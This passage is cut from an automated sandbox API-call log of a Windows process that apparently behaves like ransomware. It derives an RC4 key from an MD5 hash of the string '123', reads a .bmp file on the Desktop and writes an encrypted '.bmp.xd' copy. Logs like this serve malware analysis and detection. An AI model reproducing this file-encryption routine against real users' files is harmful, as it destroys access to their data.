lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.752] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.752] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.753] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.753] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.753] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.753] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.753] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.753] CryptCreateHash (in: hProv=0x1631ee0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.754] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629500, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.754] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.754] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.754] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621810, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.755] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.755] CryptHashData (hHash=0x164c630, pbData=0x16293f0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.758] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.759] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.759] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.759] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.759] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.759] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.759] CryptDeriveKey (in: hProv=0x1631ee0, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c6f0) returned 1 [0075.759] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.760] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.760] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.761] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.761] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.761] CryptDestroyHash (hHash=0x164c630) returned 1 [0075.761] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.761] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.761] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kap_b4mxmg0-tmpmr.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0 [0075.762] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.762] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0075.762] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.762] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.762] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.762] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0075.764] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kap_b4mXMg0-TMPMR.bmp.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kap_b4mxmg0-tmpmr.bmp.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0075.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.764] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.767] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0075.767] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x6f2, lpOverlapped=0x0) returned 1 [0075.767] ReadFile (in: hFile=0x3d0, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0075.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.769] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0075.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.769] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.770] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0075.770] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.770] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0075.770] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.770] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.770] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.770] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0075.770] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0075.770] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0075.770] CryptGetKeyParam (in: hKey=0x164c6f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0075.771] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.771] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.771] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.771] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.771] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.771] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.771] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.771] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.771] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621900, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.772] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.772] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x6f2, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x700) returned 1 [0075.772] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.772] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.772] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.772] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.772] CharLowerBuffW (in: lpsz="byte[1793]", cchLength=0xa | out: lpsz="byte[1793]") returned 0xa [0075.772] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.772] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.772] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.772] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.772] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0075.773] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0075.773] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0075.773] CryptEncrypt (in: hKey=0x164c6f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4f30748*, pdwDataLen=0x130e618*=0x6f2, dwBufLen=0x700 | out: pbData=0x4f30748*, pdwDataLen=0x130e618*=0x700) returned 1 [0075.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.773] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.774] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0075.774] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.774] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0075.774] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.774] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, 